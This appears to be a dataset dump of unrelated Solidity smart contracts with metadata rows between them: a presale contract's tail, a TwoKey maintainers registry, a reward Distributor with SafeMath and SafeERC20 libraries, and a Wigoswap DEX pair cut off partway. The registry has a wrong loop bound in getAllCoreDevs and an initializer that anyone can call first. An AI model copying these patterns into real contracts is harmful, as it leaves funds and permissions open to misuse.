require(maxPresaleWei >= _minPresaleWei);
minPresaleWei = _minPresaleWei;
}
function updatePresaleMaxWei(uint _maxPresaleWei) public onlyOwner {
require(_maxPresaleWei >= minPresaleWei);
maxPresaleWei = _maxPresaleWei;
}
function updatePresaleBonus(uint _presaleBonus) public onlyOwner {
presaleBonus = _presaleBonus;
}
function isPresaleOn() public view returns (bool) {
return block.timestamp >= presaleOpeningTime && block.timestamp <= presaleClosingTime;
}
modifier validPresaleClosingTime(uint _presaleOpeningTime, uint _presaleClosingTime) {
require(_presaleOpeningTime >= openingTime);
require(_presaleClosingTime >= _presaleOpeningTime);
require(_presaleClosingTime <= closingTime);
_;
}
function setOpeningTime(uint256 _openingTime) public onlyOwner {
require(_openingTime >= block.timestamp);
require(presaleOpeningTime >= _openingTime);
require(closingTime >= _openingTime);
openingTime = _openingTime;
}
function setPresaleClosingTime(uint _presaleClosingTime) public onlyOwner validPresaleClosingTime(presaleOpeningTime, _presaleClosingTime) {
presaleClosingTime = _presaleClosingTime;
}
function setPresaleOpeningClosingTime(uint256 _presaleOpeningTime, uint256 _presaleClosingTime) public onlyOwner validPresaleClosingTime(_presaleOpeningTime, _presaleClosingTime) {
presaleOpeningTime = _presaleOpeningTime;
presaleClosingTime = _presaleClosingTime;
}
function setClosingTime(uint256 _closingTime) public onlyOwner {
require(_closingTime >= block.timestamp);
require(_closingTime >= openingTime);
closingTime = _closingTime;
}
function setOpeningClosingTime(uint256 _openingTime, uint256 _closingTime) public onlyOwner {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function transferTokenOwnership(address _to) public onlyOwner {
Ownable(token).transferOwnership(_to);
}
}
| 192,904 | 13,274 |
0a84093f0421d29b40a7467fc1aa0aa2ea10390ca5b8ca6def4fad1b387c5230
| 19,645 |
.sol
|
Solidity
| false |
128776516
|
2key/contracts
|
aadccf693c0f8599292bbc1eff8c417081a73e13
|
flattenedContracts/TwoKeyMaintainersRegistryFlattened.sol
| 3,646 | 14,330 |
pragma solidity ^0.4.13;
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
event ProxyCreated(address proxy);
event VersionAdded(string version, address implementation, string contractName);
function addVersion(string _contractName, string version, address implementation) public;
function getVersion(string _contractName, string version) public view returns (address);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
require(c >= _a);
return c;
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TwoKeyMaintainersRegistryAbstract is Upgradeable {
string constant _isMaintainer = "isMaintainer";
string constant _isCoreDev = "isCoreDev";
string constant _idToMaintainer = "idToMaintainer";
string constant _idToCoreDev = "idToCoreDev";
string constant _numberOfMaintainers = "numberOfMaintainers";
string constant _numberOfCoreDevs = "numberOfCoreDevs";
string constant _numberOfActiveMaintainers = "numberOfActiveMaintainers";
string constant _numberOfActiveCoreDevs = "numberOfActiveCoreDevs";
//For all math operations we use safemath
using SafeMath for *;
// Flag which will make function setInitialParams callable only once
bool initialized;
address public TWO_KEY_SINGLETON_REGISTRY;
IStructuredStorage public PROXY_STORAGE_CONTRACT;
function setInitialParams(address _twoKeySingletonRegistry,
address _proxyStorage,
address [] _maintainers,
address [] _coreDevs)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonRegistry;
PROXY_STORAGE_CONTRACT = IStructuredStorage(_proxyStorage);
//Deployer is also maintainer
addMaintainer(msg.sender);
//Set initial maintainers
for(uint i=0; i<_maintainers.length; i++) {
addMaintainer(_maintainers[i]);
}
//Set initial core devs
for(uint j=0; j<_coreDevs.length; j++) {
addCoreDev(_coreDevs[j]);
}
//Once this executes, this function will not be possible to call again.
initialized = true;
}
function checkIsAddressMaintainer(address _sender) public view returns (bool) {
return isMaintainer(_sender);
}
function checkIsAddressCoreDev(address _sender) public view returns (bool) {
return isCoreDev(_sender);
}
function getAllMaintainers()
public
view
returns (address[])
{
uint numberOfMaintainersTotal = getNumberOfMaintainers();
uint numberOfActiveMaintainers = getNumberOfActiveMaintainers();
address [] memory activeMaintainers = new address[](numberOfActiveMaintainers);
uint counter = 0;
for(uint i=0; i<numberOfMaintainersTotal; i++) {
address maintainer = getMaintainerPerId(i);
if(isMaintainer(maintainer)) {
activeMaintainers[counter] = maintainer;
counter = counter.add(1);
}
}
return activeMaintainers;
}
function getAllCoreDevs()
public
view
returns (address[])
{
uint numberOfCoreDevsTotal = getNumberOfCoreDevs();
uint numberOfActiveCoreDevs = getNumberOfActiveCoreDevs();
address [] memory activeCoreDevs = new address[](numberOfActiveCoreDevs);
uint counter = 0;
for(uint i=0; i<numberOfActiveCoreDevs; i++) {
address coreDev= getCoreDevPerId(i);
if(isCoreDev(coreDev)) {
activeCoreDevs[counter] = coreDev;
counter = counter.add(1);
}
}
return activeCoreDevs;
}
function isMaintainer(address _address)
internal
view
returns (bool)
{
bytes32 keyHash = keccak256(_isMaintainer, _address);
return PROXY_STORAGE_CONTRACT.getBool(keyHash);
}
function isCoreDev(address _address)
internal
view
returns (bool)
{
bytes32 keyHash = keccak256(_isCoreDev, _address);
return PROXY_STORAGE_CONTRACT.getBool(keyHash);
}
function addMaintainer(address _maintainer)
internal
{
bytes32 keyHashIsMaintainer = keccak256(_isMaintainer, _maintainer);
// Fetch the id for the new maintainer
uint id = getNumberOfMaintainers();
// Generate keyHash for this maintainer
bytes32 keyHashIdToMaintainer = keccak256(_idToMaintainer, id);
// Representing number of different maintainers
incrementNumberOfMaintainers();
// Representing number of currently active maintainers
incrementNumberOfActiveMaintainers();
PROXY_STORAGE_CONTRACT.setAddress(keyHashIdToMaintainer, _maintainer);
PROXY_STORAGE_CONTRACT.setBool(keyHashIsMaintainer, true);
}
function addCoreDev(address _coreDev)
internal
{
bytes32 keyHashIsCoreDev = keccak256(_isCoreDev, _coreDev);
// Fetch the id for the new core dev
uint id = getNumberOfCoreDevs();
// Generate keyHash for this core dev
bytes32 keyHashIdToCoreDev= keccak256(_idToCoreDev, id);
// Representing number of different core devs
incrementNumberOfCoreDevs();
// Representing number of currently active core devs
incrementNumberOfActiveCoreDevs();
PROXY_STORAGE_CONTRACT.setAddress(keyHashIdToCoreDev, _coreDev);
PROXY_STORAGE_CONTRACT.setBool(keyHashIsCoreDev, true);
}
function removeMaintainer(address _maintainer)
internal
{
bytes32 keyHashIsMaintainer = keccak256(_isMaintainer, _maintainer);
decrementNumberOfActiveMaintainers();
PROXY_STORAGE_CONTRACT.setBool(keyHashIsMaintainer, false);
}
function removeCoreDev(address _coreDev)
internal
{
bytes32 keyHashIsCoreDev = keccak256(_isCoreDev , _coreDev);
decrementNumberOfActiveCoreDevs();
PROXY_STORAGE_CONTRACT.setBool(keyHashIsCoreDev, false);
}
function getNumberOfMaintainers()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfMaintainers));
}
function getNumberOfCoreDevs()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfCoreDevs));
}
function getNumberOfActiveMaintainers()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfActiveMaintainers));
}
function getNumberOfActiveCoreDevs()
public
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(keccak256(_numberOfActiveCoreDevs));
}
function incrementNumberOfMaintainers()
internal
{
bytes32 keyHashNumberOfMaintainers = keccak256(_numberOfMaintainers);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfMaintainers,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfMaintainers).add(1));
}
function incrementNumberOfCoreDevs()
internal
{
bytes32 keyHashNumberOfCoreDevs = keccak256(_numberOfCoreDevs);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfCoreDevs,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfCoreDevs).add(1));
}
function incrementNumberOfActiveMaintainers()
internal
{
bytes32 keyHashNumberOfActiveMaintainers = keccak256(_numberOfActiveMaintainers);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfActiveMaintainers,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfActiveMaintainers).add(1));
}
function incrementNumberOfActiveCoreDevs()
internal
{
bytes32 keyHashNumberToActiveCoreDevs= keccak256(_numberOfActiveCoreDevs);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberToActiveCoreDevs,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberToActiveCoreDevs).add(1));
}
function decrementNumberOfActiveMaintainers()
internal
{
bytes32 keyHashNumberOfActiveMaintainers = keccak256(_numberOfActiveMaintainers);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberOfActiveMaintainers,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberOfActiveMaintainers).sub(1));
}
function decrementNumberOfActiveCoreDevs()
internal
{
bytes32 keyHashNumberToActiveCoreDevs = keccak256(_numberOfActiveCoreDevs);
PROXY_STORAGE_CONTRACT.setUint(keyHashNumberToActiveCoreDevs,
PROXY_STORAGE_CONTRACT.getUint(keyHashNumberToActiveCoreDevs).sub(1));
}
function getMaintainerPerId(uint _id)
public
view
returns (address)
{
return PROXY_STORAGE_CONTRACT.getAddress(keccak256(_idToMaintainer,_id));
}
function getCoreDevPerId(uint _id)
public
view
returns (address)
{
return PROXY_STORAGE_CONTRACT.getAddress(keccak256(_idToCoreDev,_id));
}
// Internal function to fetch address from TwoKeyRegistry
function getAddressFromTwoKeySingletonRegistry(string contractName) internal view returns (address) {
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
}
contract TwoKeyMaintainersRegistry is TwoKeyMaintainersRegistryAbstract {
modifier onlyTwoKeyAdmin() {
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry("TwoKeyAdmin");
require(msg.sender == address(twoKeyAdmin));
_;
}
function addMaintainers(address [] _maintainers)
public
onlyTwoKeyAdmin
{
uint numberOfMaintainersToAdd = _maintainers.length;
for(uint i=0; i<numberOfMaintainersToAdd; i++) {
addMaintainer(_maintainers[i]);
}
}
function addCoreDevs(address [] _coreDevs)
public
onlyTwoKeyAdmin
{
uint numberOfCoreDevsToAdd = _coreDevs.length;
for(uint i=0; i<numberOfCoreDevsToAdd; i++) {
addCoreDev(_coreDevs[i]);
}
}
function removeMaintainers(address [] _maintainers)
public
onlyTwoKeyAdmin
{
uint numberOfMaintainers = _maintainers.length;
for(uint i=0; i<numberOfMaintainers; i++) {
removeMaintainer(_maintainers[i]);
}
}
function removeCoreDevs(address [] _coreDevs)
public
onlyTwoKeyAdmin
{
uint numberOfCoreDevs = _coreDevs.length;
for(uint i=0; i<numberOfCoreDevs; i++) {
removeCoreDev(_coreDevs[i]);
}
}
}
| 226,619 | 13,275 |
173b6ad9df94f2fe5e33713de98022f54c4a5210373a64728aca9a6e40899312
| 17,542 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/1c/1C18FEAd5cCa0472541fADb7A21F6a96B760a98C_Distributor.sol
| 3,887 | 15,352 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable AVAXD;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _AVAXD, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_AVAXD != address(0));
AVAXD = _AVAXD;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(AVAXD).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 94,788 | 13,276 |
8864679ec4e0dd42a5783fecea400ee8be28e5eb7b7129c682aadb9b8aeaf297
| 21,200 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c8/C831A5cBfb4aC2Da5ed5B194385DFD9bF5bFcBa7_WigoswapFactory.sol
| 5,400 | 19,227 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IWigoswapFactory {
event PairCreated(address indexed token0,
address indexed token1,
address pair,
uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
}
contract WigoswapERC20 {
using SafeMath for uint256;
string public constant name = "Wigo LPs";
string public constant symbol = "Wigo-LP";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
event Approval(address indexed owner,
address indexed spender,
uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
uint256 chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner,
address spender,
uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from,
address to,
uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external {
require(deadline >= block.timestamp, "Wigoswap: EXPIRED");
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner,
"Wigoswap: INVALID_SIGNATURE");
_approve(owner, spender, value);
}
}
// a library for performing various math operations
library Math {
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner,
address indexed spender,
uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
}
interface IWigoswapCallee {
function wigoswapCall(address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data) external;
}
contract WigoswapPair is WigoswapERC20 {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR =
bytes4(keccak256(bytes("transfer(address,uint256)")));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
